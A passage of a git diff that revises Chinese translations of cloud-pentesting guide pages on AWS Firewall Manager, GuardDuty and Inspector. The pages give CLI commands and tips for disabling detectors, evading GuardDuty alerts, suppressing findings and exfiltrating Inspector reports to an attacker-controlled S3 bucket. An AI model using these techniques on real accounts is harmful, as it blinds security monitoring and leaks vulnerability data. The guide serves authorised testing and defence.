提供灵活性,以通过其管理范围和两种类型的管理员账户管理您组织内的防火墙资源。 **管理范围定义了 Firewall Manager 管理员可以管理的资源**。在 AWS Organizations 管理账户将组织引入 Firewall Manager 后,它可以创建具有不同管理范围的其他管理员。这些范围可以包括: -- 管理员可以应用政策的账户或组织单位 (OU)。 +- 管理员可以应用策略的账户或组织单位 (OU)。 - 管理员可以执行操作的区域。 - 管理员可以管理的 Firewall Manager 策略类型。 @@ -60,7 +60,7 @@ AWS Firewall Manager 通过其管理范围和两种类型的管理员账户提 - **默认管理员**: - 默认管理员账户由 AWS Organizations 组织的管理账户在引入 Firewall Manager 过程中创建。 -- 该账户能够管理第三方防火墙,并拥有完全的管理范围。 +- 此账户能够管理第三方防火墙,并具有完全的管理范围。 - 它作为 Firewall Manager 的主要管理员账户,负责在组织内配置和强制执行安全策略。 - 虽然默认管理员对所有资源类型和管理功能具有完全访问权限,但如果在组织内使用多个管理员,它与其他管理员处于同一对等级别。 - **Firewall Manager 管理员**: @@ -70,7 +70,7 @@ AWS Firewall Manager 通过其管理范围和两种类型的管理员账户提 管理这些管理员账户涉及在 Firewall Manager 中创建它们,并根据组织的安全要求和最小权限原则定义其管理范围。通过分配适当的管理角色,组织可以确保有效的安全管理,同时保持对敏感资源访问的细粒度控制。 -重要的是要强调,**在一个组织内只能有一个账户作为 Firewall Manager 默认管理员**,遵循“**先入后出**”原则。要指定新的默认管理员,必须遵循一系列步骤: +重要的是要强调,**组织内只能有一个账户作为 Firewall Manager 默认管理员**,遵循“**先入后出**”原则。要指定新的默认管理员,必须遵循一系列步骤: - 首先,每个 Firewall Administrator 管理员账户必须撤销自己的账户。 - 然后,现有的默认管理员可以撤销自己的账户,有效地将组织从 Firewall Manager 中移除。此过程将导致撤销账户创建的所有 Firewall Manager 策略被删除。 @@ -161,15 +161,15 @@ aws fms get-third-party-firewall-association-status --third-party-firewall --member-account --resource-id --resource-type ``` -## Post Exploitation / Bypass Detection +## 后期利用 / 绕过检测 ### `organizations:DescribeOrganization` & (`fms:AssociateAdminAccount`, `fms:DisassociateAdminAccount`, `fms:PutAdminAccount`) -拥有 **`fms:AssociateAdminAccount`** 权限的攻击者将能够设置防火墙管理器默认管理员账户。拥有 **`fms:PutAdminAccount`** 权限的攻击者将能够创建或更新防火墙管理器管理员账户,而拥有 **`fms:DisassociateAdminAccount`** 权限的潜在攻击者可以移除当前的防火墙管理器管理员账户关联。 +拥有 **`fms:AssociateAdminAccount`** 权限的攻击者将能够设置 Firewall Manager 默认管理员账户。拥有 **`fms:PutAdminAccount`** 权限的攻击者将能够创建或更新 Firewall Manager 管理员账户,而拥有 **`fms:DisassociateAdminAccount`** 权限的潜在攻击者可以移除当前的 Firewall Manager 管理员账户关联。 -- **防火墙管理器默认管理员的解除关联遵循先进后出政策**。所有防火墙管理器管理员必须解除关联,才能让防火墙管理器默认管理员解除账户关联。 -- 要通过 **PutAdminAccount** 创建防火墙管理器管理员,账户必须属于之前通过 **AssociateAdminAccount** 加入防火墙管理器的组织。 -- 防火墙管理器管理员账户的创建只能由组织的管理账户完成。 +- **Firewall Manager 默认管理员的解除关联遵循先进后出政策**。所有 Firewall Manager 管理员必须解除关联,才能让 Firewall Manager 默认管理员解除该账户的关联。 +- 要通过 **PutAdminAccount** 创建 Firewall Manager 管理员,账户必须属于之前通过 **AssociateAdminAccount** 加入 Firewall Manager 的组织。 +- Firewall Manager 管理员账户的创建只能由组织的管理账户完成。 ```bash aws fms associate-admin-account --admin-account aws fms disassociate-admin-account @@ -184,7 +184,7 @@ aws fms put-admin-account --admin-account aws fms put-policy --policy | --cli-input-json file:// [--tag-list ] aws fms delete-policy --policy-id [--delete-all-policy-resources | --no-delete-all-policy-resources] ``` -一个通过宽松安全组的宽松策略示例,为了绕过检测,可以是以下内容: +通过宽松的安全组实现宽松策略以绕过检测的一个示例可能是以下内容: ```json { "Policy": { @@ -208,11 +208,11 @@ aws fms delete-policy --policy-id [--delete-all-policy-resources | --no- "TagList": [] } ``` -**潜在影响:** 安全控制的拆解、政策规避、合规性违规、操作中断,以及环境中潜在的数据泄露。 +**潜在影响:** 安全控制的拆解、政策规避、合规性违规、操作中断以及环境中潜在的数据泄露。 ### `fms:BatchAssociateResource`, `fms:BatchDisassociateResource`, `fms:PutResourceSet`, `fms:DeleteResourceSet` -拥有 **`fms:BatchAssociateResource`** 和 **`fms:BatchDisassociateResource`** 权限的攻击者将能够分别将资源关联或取消关联到防火墙管理器资源集。此外,**`fms:PutResourceSet`** 和 **`fms:DeleteResourceSet`** 权限将允许攻击者创建、修改或删除这些资源集。 +拥有 **`fms:BatchAssociateResource`** 和 **`fms:BatchDisassociateResource`** 权限的攻击者将能够分别将资源关联或解除关联到防火墙管理器资源集。此外,**`fms:PutResourceSet`** 和 **`fms:DeleteResourceSet`** 权限将允许攻击者创建、修改或删除这些资源集。 ```bash # Associate/Disassociate resources from a resource set aws fms batch-associate-resource --resource-set-identifier --items @@ -222,7 +222,7 @@ aws fms batch-disassociate-resource --resource-set-identifier --items [--tag-list ] aws fms delete-resource-set --identifier ``` -**潜在影响:** 向资源集添加不必要的项目将增加服务中的噪音水平,可能导致DoS。此外,资源集的变化可能导致资源中断、策略规避、合规性违规以及环境中安全控制的中断。 +**潜在影响:** 向资源集添加不必要的项目将增加服务中的噪声水平,可能导致DoS。此外,资源集的变化可能导致资源中断、策略规避、合规性违规以及环境中安全控制的中断。 ### `fms:PutAppsList`, `fms:DeleteAppsList` @@ -235,7 +235,7 @@ aws fms delete-apps-list --list-id ### `fms:PutProtocolsList`, `fms:DeleteProtocolsList` -拥有 **`fms:PutProtocolsList`** 和 **`fms:DeleteProtocolsList`** 权限的攻击者将能够从 AWS Firewall Manager 创建、修改或删除协议列表。与应用程序列表类似,这可能是关键的,因为未经授权的协议可能被公众使用,或者授权协议的使用可能被拒绝,从而导致 DoS。 +拥有 **`fms:PutProtocolsList`** 和 **`fms:DeleteProtocolsList`** 权限的攻击者将能够从 AWS Firewall Manager 创建、修改或删除协议列表。与应用程序列表类似,这可能是关键的,因为未经授权的协议可能被公众使用,或者授权协议的使用可能被拒绝,从而导致拒绝服务(DoS)。 ```bash aws fms put-protocols-list --apps-list [--tag-list ] aws fms delete-protocols-list --list-id @@ -261,7 +261,7 @@ aws fms delete-notification-channel ### `fms:AssociateThirdPartyFirewall`, `fms:DisssociateThirdPartyFirewall` -拥有 **`fms:AssociateThirdPartyFirewall`**、**`fms:DisssociateThirdPartyFirewall`** 权限的攻击者将能够将第三方防火墙关联或取消关联,以便通过 AWS Firewall Manager 进行集中管理。 +拥有 **`fms:AssociateThirdPartyFirewall`** 和 **`fms:DisssociateThirdPartyFirewall`** 权限的攻击者将能够将第三方防火墙关联或解除关联,以便通过 AWS Firewall Manager 进行集中管理。 > [!WARNING] > 只有默认管理员可以创建和管理第三方防火墙。 @@ -269,11 +269,11 @@ aws fms delete-notification-channel aws fms associate-third-party-firewall --third-party-firewall [PALO_ALTO_NETWORKS_CLOUD_NGFW | FORTIGATE_CLOUD_NATIVE_FIREWALL] aws fms disassociate-third-party-firewall --third-party-firewall [PALO_ALTO_NETWORKS_CLOUD_NGFW | FORTIGATE_CLOUD_NATIVE_FIREWALL] ``` -**潜在影响:** 解除关联将导致政策规避、合规性违规以及环境内安全控制的中断。另一方面,关联将导致成本和预算分配的中断。 +**潜在影响:** 解除关联将导致政策规避、合规性违规以及环境中安全控制的中断。另一方面,关联将导致成本和预算分配的中断。 ### `fms:TagResource`, `fms:UntagResource` -攻击者将能够添加、修改或删除防火墙管理器资源的标签,从而干扰您组织的成本分配、资源跟踪和基于标签的访问控制政策。 +攻击者将能够添加、修改或删除防火墙管理器资源的标签,从而干扰您组织基于标签的成本分配、资源跟踪和访问控制政策。 ```bash aws fms tag-resource --resource-arn --tag-list aws fms untag-resource --resource-arn --tag-keys diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-guardduty-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-guardduty-enum.md index 4aaa68809..bec30807b 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-guardduty-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-guardduty-enum.md @@ -6,20 +6,20 @@ 根据[**文档**](https://aws.amazon.com/guardduty/features/): GuardDuty结合了**机器学习、异常检测、网络监控和恶意文件发现**,利用AWS和行业领先的第三方来源来帮助保护AWS上的工作负载和数据。GuardDuty能够分析数十亿个事件,跨多个AWS数据源,如AWS CloudTrail事件日志、Amazon虚拟私有云(VPC)流日志、Amazon弹性Kubernetes服务(EKS)审计和系统级日志,以及DNS查询日志。 -Amazon GuardDuty **识别您账户内的异常活动**,分析该活动的**安全相关性**,并提供其被调用的**上下文**。这使得响应者能够判断是否应该花时间进行进一步调查。 +Amazon GuardDuty **识别您账户中的异常活动**,分析该活动的**安全相关性**,并提供其被调用的**上下文**。这使得响应者能够判断是否应该花时间进行进一步调查。 警报**出现在GuardDuty控制台(90天)**和CloudWatch事件中。 > [!WARNING] -> 当用户**禁用GuardDuty**时,它将停止监控您的AWS环境,并且不会生成任何新的发现,**现有发现将丢失**。\ -> 如果您只是停止它,现有发现将保留。 +> 当用户**禁用GuardDuty**时,它将停止监控您的AWS环境,并且不会生成任何新的发现,**现有的发现将会丢失**。\ +> 如果您只是停止它,现有的发现将会保留。 ### 发现示例 -- **侦察**: 表示攻击者进行侦察的活动,例如**异常API活动**、可疑的数据库**登录**尝试、VPC内**端口扫描**、异常的失败登录请求模式,或来自已知恶意IP的未阻止端口探测。 -- **实例被攻破**: 表示实例被攻破的活动,例如**加密货币挖矿、后门命令与控制(C\&C)**活动、使用域生成算法(DGA)的恶意软件、出站拒绝服务活动、异常的**高网络**流量、异常的网络协议、与已知恶意IP的出站实例通信、外部IP地址使用的临时Amazon EC2凭证,以及使用DNS的数据外泄。 +- **侦察**: 表示攻击者进行侦察的活动,例如**异常的API活动**、可疑的数据库**登录**尝试、VPC内**端口扫描**、异常的失败登录请求模式,或来自已知恶意IP的未阻止端口探测。 +- **实例被攻破**: 表示实例被攻破的活动,例如**加密货币挖矿、后门命令和控制(C\&C)**活动、使用域生成算法(DGA)的恶意软件、出站拒绝服务活动、异常**高网络**流量、异常网络协议、与已知恶意IP的出站实例通信、外部IP地址使用的临时Amazon EC2凭证,以及使用DNS的数据外泄。 - **账户被攻破**: 表示账户被攻破的常见模式包括来自异常地理位置或匿名代理的API调用、尝试禁用AWS CloudTrail日志、削弱账户密码策略的更改、异常的实例或基础设施启动、在异常区域的基础设施部署、凭证盗窃、可疑的数据库登录活动,以及来自已知恶意IP地址的API调用。 -- **存储桶被攻破**: 表示存储桶被攻破的活动,例如可疑的数据访问模式表明凭证被滥用、来自远程主机的异常Amazon S3 API活动、来自已知恶意IP地址的未授权S3访问,以及从没有先前访问存储桶历史的用户或从异常位置调用的API获取S3存储桶中的数据。Amazon GuardDuty持续监控和分析AWS CloudTrail S3数据事件(例如GetObject、ListObjects、DeleteObject),以检测您所有Amazon S3存储桶中的可疑活动。 +- **存储桶被攻破**: 表示存储桶被攻破的活动,例如可疑的数据访问模式表明凭证被滥用、来自远程主机的异常Amazon S3 API活动、来自已知恶意IP地址的未授权S3访问,以及从没有先前访问该存储桶历史的用户或从异常位置调用的API获取S3存储桶中的数据。Amazon GuardDuty持续监控和分析AWS CloudTrail S3数据事件(例如GetObject、ListObjects、DeleteObject),以检测您所有Amazon S3存储桶中的可疑活动。
@@ -58,7 +58,7 @@ Amazon GuardDuty **识别您账户内的异常活动**,分析该活动的**安 您可以指定组织内的任何账户为**GuardDuty委派管理员**。只有组织管理账户可以指定委派管理员。 -被指定为委派管理员的账户成为GuardDuty管理员账户,在指定的AWS区域自动启用GuardDuty,并且还**有权限在该区域内为组织中的所有账户启用和管理GuardDuty**。组织中的其他账户可以被视为与此委派管理员账户关联的GuardDuty成员账户。 +被指定为委派管理员的账户成为GuardDuty管理员账户,在指定的AWS区域自动启用GuardDuty,并且还具有**在该区域内为组织中的所有账户启用和管理GuardDuty的权限**。组织中的其他账户可以被视为与该委派管理员账户关联的GuardDuty成员账户。 ## 枚举 ```bash @@ -100,29 +100,29 @@ aws guardduty list-publishing-destinations --detector-id aws guardduty list-threat-intel-sets --detector-id aws guardduty get-threat-intel-set --detector-id --threat-intel-set-id ``` -## GuardDuty Bypass +## GuardDuty 绕过 -### General Guidance +### 一般指导 尽量多了解你将要使用的凭证的行为: - 使用时间 - 位置 -- 用户代理 / 服务(可以通过awscli、webconsole、lambda等使用) -- 定期使用的权限 +- 用户代理 / 服务(可以通过 awscli、webconsole、lambda 等使用) +- 常用权限 根据这些信息,尽可能重现相同的场景以使用访问权限: -- 如果是**用户或用户访问的角色**,尽量在相同的时间、相同的地理位置(如果可能,甚至相同的ISP和IP)使用它 -- 如果是**服务使用的角色**,在相同的区域创建相同的服务,并在相同的时间范围内从那里使用 -- 始终尝试使用该主体使用的**相同权限** -- 如果需要**使用其他权限或滥用权限**(例如,下载1.000.000个cloudtrail日志文件),请**缓慢**进行,并与AWS的**最小交互量**(awscli有时在写入之前会调用多个读取API) +- 如果是 **用户或用户访问的角色**,尽量在相同的时间、相同的地理位置(如果可能,甚至相同的 ISP 和 IP)使用它 +- 如果是 **服务使用的角色**,在相同区域创建相同的服务,并在相同的时间范围内从那里使用 +- 始终尝试使用该主体所使用的 **相同权限** +- 如果需要 **使用其他权限或滥用某个权限**(例如,下载 1.000.000 个 cloudtrail 日志文件),请 **缓慢** 进行,并与 AWS 的 **最小交互量**(awscli 有时在写入之前会调用多个读取 API) -### Breaking GuardDuty +### 破解 GuardDuty #### `guardduty:UpdateDetector` -使用此权限可以禁用GuardDuty,以避免触发警报。 +通过此权限,你可以禁用 GuardDuty 以避免触发警报。 ```bash aws guardduty update-detector --detector-id --no-enable aws guardduty update-detector --detector-id --data-sources S3Logs={Enable=false} @@ -150,9 +150,9 @@ aws guardduty delete-publishing-destination --detector-id --destin ### 特定发现绕过示例 -请注意,GuardDuty有数十种发现,然而,**作为红队成员,并非所有发现都会影响您**,更好的是,您可以在[https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-active.html](https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-active.html)中找到**每个发现的完整文档**,因此在采取任何行动之前请查看,以免被抓。 +请注意,GuardDuty有数十种发现,然而,**作为红队成员,并非所有发现都会影响您**,更好的是,您可以在[https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-active.html](https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-active.html)中找到**每种发现的完整文档**,因此在采取任何行动之前请查看,以免被抓。 -以下是几个特定GuardDuty发现绕过的示例: +这里有几个特定GuardDuty发现绕过的示例: #### [PenTest:IAMUser/KaliLinux](https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-iam.html#pentest-iam-kalilinux) @@ -160,14 +160,14 @@ GuardDuty检测来自常见渗透测试工具的AWS API请求,并触发[PenTes 它是通过在API请求中传递的**用户代理名称**检测到的。\ 因此,**修改用户代理**可以防止GuardDuty检测到攻击。 -为防止这种情况,您可以在`botocore`包中的脚本`session.py`中搜索并修改用户代理,或将Burp Suite设置为AWS CLI代理,并使用MitM更改用户代理,或者仅使用Ubuntu、Mac或Windows等操作系统将防止此警报触发。 +为防止这种情况,您可以在`botocore`包中的脚本`session.py`中搜索并修改用户代理,或将Burp Suite设置为AWS CLI代理,并使用MitM更改用户代理,或者只需使用Ubuntu、Mac或Windows等操作系统将防止此警报触发。 #### UnauthorizedAccess:IAMUser/InstanceCredentialExfiltration -从元数据服务中提取EC2凭证并**在AWS环境外部使用**将激活[**`UnauthorizedAccess:IAMUser/InstanceCredentialExfiltration.OutsideAWS`**](https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-iam.html#unauthorizedaccess-iam-instancecredentialexfiltrationoutsideaws)警报。相反,从您的EC2实例使用这些凭证将触发[**`UnauthorizedAccess:IAMUser/InstanceCredentialExfiltration.InsideAWS`**](https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-iam.html#unauthorizedaccess-iam-instancecredentialexfiltrationinsideaws)警报。然而,**在同一账户内的另一台被攻陷的EC2实例上使用这些凭证不会被检测到**,不会引发警报。 +从元数据服务提取EC2凭证并**在AWS环境外部使用**将激活[**`UnauthorizedAccess:IAMUser/InstanceCredentialExfiltration.OutsideAWS`**](https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-iam.html#unauthorizedaccess-iam-instancecredentialexfiltrationoutsideaws)警报。相反,从您的EC2实例使用这些凭证将触发[**`UnauthorizedAccess:IAMUser/InstanceCredentialExfiltration.InsideAWS`**](https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-iam.html#unauthorizedaccess-iam-instancecredentialexfiltrationinsideaws)警报。然而,**在同一账户内的另一台被攻陷的EC2实例上使用凭证将不会被检测到**,不会引发任何警报。 > [!TIP] -> 因此,**在您找到凭证的机器内部使用提取的凭证**以避免触发此警报。 +> 因此,**在您找到凭证的机器内部使用被提取的凭证**以避免触发此警报。 ## 参考 diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-inspector-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-inspector-enum.md index 67c32d929..db53cd4b2 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-inspector-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-inspector-enum.md @@ -26,11 +26,11 @@ Amazon Inspector 中的发现是关于在 EC2 实例、ECR 存储库或 Lambda #### Filters and Suppression Rules -Amazon Inspector 中的过滤器和抑制规则帮助管理和优先处理发现。过滤器允许您根据特定标准(如严重性或资源类型)细化发现。抑制规则允许您抑制某些被认为是低风险、已被缓解或出于其他重要原因的发现,防止它们过载您的安全报告,并允许您专注于更关键的问题。 +Amazon Inspector 中的过滤器和抑制规则帮助管理和优先处理发现。过滤器允许您根据特定标准(如严重性或资源类型)细化发现。抑制规则允许您抑制某些被认为是低风险、已被缓解或出于其他重要原因的发现,防止它们过载您的安全报告,并使您能够专注于更关键的问题。 #### Software Bill of Materials (SBOM) -Amazon Inspector 中的软件材料清单 (SBOM) 是一个可导出的嵌套清单,详细列出了软件包中的所有组件,包括库和依赖项。SBOM 有助于提供软件供应链的透明度,从而实现更好的漏洞管理和合规性。它们对于识别和缓解与开源和第三方软件组件相关的风险至关重要。 +Amazon Inspector 中的软件材料清单 (SBOM) 是一个可导出的嵌套库存列表,详细列出软件包中的所有组件,包括库和依赖项。SBOM 有助于提供软件供应链的透明度,从而实现更好的漏洞管理和合规性。它们对于识别和缓解与开源和第三方软件组件相关的风险至关重要。 ### Key features @@ -38,11 +38,11 @@ Amazon Inspector 中的软件材料清单 (SBOM) 是一个可导出的嵌套清 Amazon Inspector 提供将发现导出到 Amazon S3 Buckets、Amazon EventBridge 和 AWS Security Hub 的能力,使您能够生成已识别漏洞和暴露的详细报告,以便在特定日期和时间进行进一步分析或共享。此功能支持多种输出格式,如 CSV 和 JSON,使其更易于与其他工具和系统集成。导出功能允许自定义报告中包含的数据,使您能够根据特定标准(如严重性、资源类型或日期范围)过滤发现,并默认包括您当前 AWS 区域中所有处于活动状态的发现。 -导出发现时,需要一个密钥管理服务 (KMS) 密钥来加密导出过程中的数据。KMS 密钥确保导出的发现受到未授权访问的保护,为敏感漏洞信息提供额外的安全层。 +导出发现时,需要一个密钥管理服务 (KMS) 密钥来加密导出过程中的数据。KMS 密钥确保导出的发现受到保护,防止未经授权的访问,为敏感漏洞信息提供额外的安全层。 #### Amazon EC2 instances scanning -Amazon Inspector 提供强大的扫描能力,以检测 Amazon EC2 实例中的漏洞和安全问题。Inspector 将提取的元数据与安全建议中的规则进行比较,以生成软件包漏洞和网络可达性问题。这些扫描可以通过 **agent-based** 或 **agentless** 方法执行,具体取决于您帐户的 **scan mode** 设置配置。 +Amazon Inspector 提供强大的扫描能力,用于检测 Amazon EC2 实例中的漏洞和安全问题。Inspector 将提取的 EC2 实例元数据与安全建议中的规则进行比较,以生成软件包漏洞和网络可达性问题。这些扫描可以通过 **agent-based** 或 **agentless** 方法执行,具体取决于您帐户的 **scan mode** 设置配置。 - **Agent-Based**: 利用 AWS Systems Manager (SSM) 代理进行深入扫描。此方法允许直接从实例进行全面的数据收集和分析。 - **Agentless**: 提供一种轻量级替代方案,无需在实例上安装代理,创建 EC2 实例每个卷的 EBS 快照,查找漏洞,然后删除它;利用现有的 AWS 基础设施进行扫描。 @@ -61,23 +61,23 @@ Amazon Inspector 提供强大的扫描能力,以检测 Amazon EC2 实例中的 #### Amazon ECR container images scanning -Amazon Inspector 提供强大的扫描能力,以确保 Amazon Elastic Container Registry (ECR) 容器镜像中的软件包漏洞被有效检测和管理。 +Amazon Inspector 提供强大的扫描能力,用于 Amazon Elastic Container Registry (ECR) 容器镜像,确保有效检测和管理软件包漏洞。 - **Basic Scanning**: 这是一个快速且轻量级的扫描,使用来自开源 Clair 项目的标准规则识别容器镜像中的已知操作系统软件包漏洞。使用此扫描配置,您的存储库将在推送时扫描,或执行手动扫描。 -- **Enhanced Scanning**: 此选项在推送扫描的基础上增加了持续扫描功能。增强扫描深入每个容器镜像的层,以更高的准确性识别操作系统软件包和编程语言软件包中的漏洞。它分析基础镜像和任何附加层,提供潜在安全问题的全面视图。 +- **Enhanced Scanning**: 此选项在推送扫描的基础上增加了持续扫描功能。增强扫描深入到每个容器镜像的层中,以更高的准确性识别操作系统软件包和编程语言软件包中的漏洞。它分析基础镜像和任何附加层,提供潜在安全问题的全面视图。 #### Amazon Lambda functions scanning Amazon Inspector 包括对 AWS Lambda 函数及其层的全面扫描能力,确保无服务器应用程序的安全性和完整性。Inspector 为 Lambda 函数提供两种类型的扫描: -- **Lambda standard scanning**: 此默认功能识别添加到您的 Lambda 函数和层中的应用程序包依赖项中的软件漏洞。例如,如果您的函数使用了具有已知漏洞的库版本,如 python-jwt,则会生成发现。 -- **Lambda code scanning**: 分析自定义应用程序代码中的安全问题,检测诸如注入缺陷、数据泄露、弱加密和缺失加密等漏洞。它捕获突出显示检测到的漏洞的代码片段,例如硬编码凭据。发现包括详细的修复建议和修复问题的代码片段。 +- **Lambda standard scanning**: 此默认功能识别添加到您的 Lambda 函数和层中的应用程序包依赖项中的软件漏洞。例如,如果您的函数使用了一个已知漏洞的库版本,如 python-jwt,它会生成一个发现。 +- **Lambda code scanning**: 分析自定义应用程序代码中的安全问题,检测诸如注入缺陷、数据泄漏、弱加密和缺失加密等漏洞。它捕获突出显示检测到的漏洞的代码片段,例如硬编码凭据。发现包括详细的修复建议和修复问题的代码片段。 #### **Center for Internet Security (CIS) scans** Amazon Inspector 包括 CIS 扫描,以基准 Amazon EC2 实例操作系统与来自互联网安全中心 (CIS) 的最佳实践建议。这些扫描确保配置符合行业标准的安全基线。 -- **Configuration**: CIS 扫描评估系统配置是否符合特定的 CIS 基准建议,每个检查都与 CIS 检查 ID 和标题相关联。 +- **Configuration**: CIS 扫描评估系统配置是否符合特定的 CIS 基准建议,每个检查都链接到一个 CIS 检查 ID 和标题。 - **Execution**: 扫描根据实例标签和定义的计划执行或安排。 - **Results**: 扫描后的结果指示哪些检查通过、跳过或失败,提供每个实例安全态势的洞察。 @@ -182,7 +182,7 @@ aws inspector list-exclusions --assessment-run-arn ## Rule packages aws inspector list-rules-packages ``` -### Post Exploitation +### 后期利用 > [!TIP] > 从攻击者的角度来看,这项服务可以帮助攻击者找到可能帮助他攻陷其他实例/容器的漏洞和网络暴露。 @@ -191,14 +191,14 @@ aws inspector list-rules-packages #### `inspector2:CreateFindingsReport`, `inspector2:CreateSBOMReport` -攻击者可以生成漏洞或软件材料清单(SBOM)的详细报告,并从您的AWS环境中提取这些报告。这些信息可以被利用来识别特定的弱点、过时的软件或不安全的依赖关系,从而实现针对性的攻击。 +攻击者可以生成漏洞或软件材料清单(SBOM)的详细报告,并从您的 AWS 环境中提取这些报告。这些信息可以被利用来识别特定的弱点、过时的软件或不安全的依赖,从而实现针对性的攻击。 ```bash # Findings report aws inspector2 create-findings-report --report-format --s3-destination [--filter-criteria ] # SBOM report aws inspector2 create-sbom-report --report-format --s3-destination [--resource-filter-criteria ] ``` -以下示例展示了如何将所有活动发现从 Amazon Inspector 导出到攻击者控制的 Amazon S3 Bucket,并使用攻击者控制的 Amazon KMS 密钥: +以下示例演示了如何将所有活动发现从 Amazon Inspector 导出到攻击者控制的 Amazon S3 Bucket,并使用攻击者控制的 Amazon KMS 密钥: 1. **创建一个 Amazon S3 Bucket** 并附加一个策略,以便从受害者的 Amazon Inspector 访问: ```json @@ -257,11 +257,11 @@ aws inspector2 create-sbom-report --report-format --s ] } ``` -3. 执行命令以**创建发现报告**并将其外泄: +3. 执行命令以**创建发现报告**并将其导出: ```bash aws --region us-east-1 inspector2 create-findings-report --report-format CSV --s3-destination bucketName=,keyPrefix=exfiltration_,kmsKeyArn=arn:aws:kms:us-east-1:123456789012:key/1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f ``` -- **潜在影响**: 生成和外泄详细的漏洞和软件报告,获取特定漏洞和安全弱点的见解。 +- **潜在影响**:生成和外泄详细的漏洞和软件报告,获取特定漏洞和安全弱点的见解。 #### `inspector2:CancelFindingsReport`, `inspector2:CancelSbomExport` @@ -272,11 +272,11 @@ aws inspector2 cancel-findings-report --report-id # Cancel SBOM report generatiom aws inspector2 cancel-sbom-export --report-id ``` -- **潜在影响**:中断安全监控,阻碍及时发现和修复安全问题。 +- **潜在影响**: 中断安全监控,阻止及时检测和修复安全问题。 #### `inspector2:CreateFilter`, `inspector2:UpdateFilter`, `inspector2:DeleteFilter` -拥有这些权限的攻击者将能够操纵过滤规则,这些规则决定了哪些漏洞和安全问题被报告或抑制(如果**action**设置为SUPPRESS,将创建一个抑制规则)。这可能会使安全管理员无法看到关键漏洞,从而更容易在未被发现的情况下利用这些弱点。通过更改或删除重要过滤器,攻击者还可以通过向系统发送无关的发现来制造噪音,从而妨碍有效的安全监控和响应。 +拥有这些权限的攻击者将能够操纵过滤规则,这些规则决定了哪些漏洞和安全问题被报告或抑制(如果**action**设置为SUPPRESS,将创建一个抑制规则)。这可能会使安全管理员无法看到关键漏洞,从而更容易在未被检测的情况下利用这些弱点。通过更改或删除重要过滤器,攻击者还可以通过向系统发送无关的发现来制造噪音,从而妨碍有效的安全监控和响应。 ```bash # Create aws inspector2 create-filter --action --filter-criteria --name [--reason ] @@ -285,19 +285,19 @@ aws inspector2 update-filter --filter-arn [--action ] [ # Delete aws inspector2 delete-filter --arn ``` -- **潜在影响**:隐瞒或压制关键漏洞,或用无关的发现淹没系统。 +- **潜在影响**:隐瞒或抑制关键漏洞,或用无关的发现淹没系统。 -#### `inspector2:DisableDelegatedAdminAccount`, (`inspector2:EnableDelegatedAdminAccount` & `organizations:ListDelegatedAdministrators` & `organizations:EnableAWSServiceAccess` & `iam:CreateServiceLinkedRole`) +#### `inspector2:DisableDelegatedAdminAccount`,(`inspector2:EnableDelegatedAdminAccount` & `organizations:ListDelegatedAdministrators` & `organizations:EnableAWSServiceAccess` & `iam:CreateServiceLinkedRole`) 攻击者可能会显著破坏安全管理结构。 -- 禁用委托管理员账户,攻击者可以阻止安全团队访问和管理 Amazon Inspector 设置和报告。 +- 禁用委派管理员账户,攻击者可以阻止安全团队访问和管理Amazon Inspector设置和报告。 - 启用未经授权的管理员账户将允许攻击者控制安全配置,可能会禁用扫描或修改设置以隐藏恶意活动。 > [!WARNING] -> 未经授权的账户必须与受害者在同一组织中才能成为委托管理员。 +> 未经授权的账户必须与受害者在同一组织中才能成为委派管理员。 > -> 为了让未经授权的账户成为委托管理员,还要求在合法的委托管理员被禁用后,以及在未经授权的账户被启用为委托管理员之前,合法管理员必须从组织中注销为委托管理员。这可以通过以下命令完成(**`organizations:DeregisterDelegatedAdministrator`** 权限要求):**`aws organizations deregister-delegated-administrator --account-id --service-principal [inspector2.amazonaws.com](http://inspector2.amazonaws.com/)`** +> 为了使未经授权的账户成为委派管理员,还要求在合法的委派管理员被禁用后,并在未经授权的账户被启用为委派管理员之前,合法管理员必须从组织中注销为委派管理员。这可以通过以下命令完成(**`organizations:DeregisterDelegatedAdministrator`** 权限要求):**`aws organizations deregister-delegated-administrator --account-id --service-principal [inspector2.amazonaws.com](http://inspector2.amazonaws.com/)`** ```bash # Disable aws inspector2 disable-delegated-admin-account --delegated-admin-account-id @@ -308,7 +308,7 @@ aws inspector2 enable-delegated-admin-account --delegated-admin-account-id [!WARNING] > 此操作需要由委派的管理员执行。 @@ -318,7 +318,7 @@ aws inspector2 associate-member --account-id # Disassociate aws inspector2 disassociate-member --account-id ``` -- **潜在影响**: 关键账户被排除在安全扫描之外,使得漏洞的利用未被检测到。 +- **潜在影响**: 将关键账户排除在安全扫描之外,使得漏洞的未被检测到的利用成为可能。 #### `inspector2:Disable`, (`inspector2:Enable` & `iam:CreateServiceLinkedRole`) @@ -336,10 +336,10 @@ aws inspector2 enable --resource-types <{EC2, ECR, LAMBDA, LAMBDA_CODE}> [--acco #### `inspector2:UpdateOrganizationConfiguration` -拥有此权限的攻击者将能够更新您 Amazon Inspector 组织的配置,影响新成员账户启用的默认扫描功能。 +具有此权限的攻击者将能够更新您 Amazon Inspector 组织的配置,从而影响为新成员帐户启用的默认扫描功能。 > [!WARNING] -> 此操作需要由委派管理员执行。 +> 此操作需要由委派的管理员执行。 ```bash aws inspector2 update-organization-configuration --auto-enable ``` @@ -347,7 +347,7 @@ aws inspector2 update-organization-configuration --auto-enable --tags aws inspector2 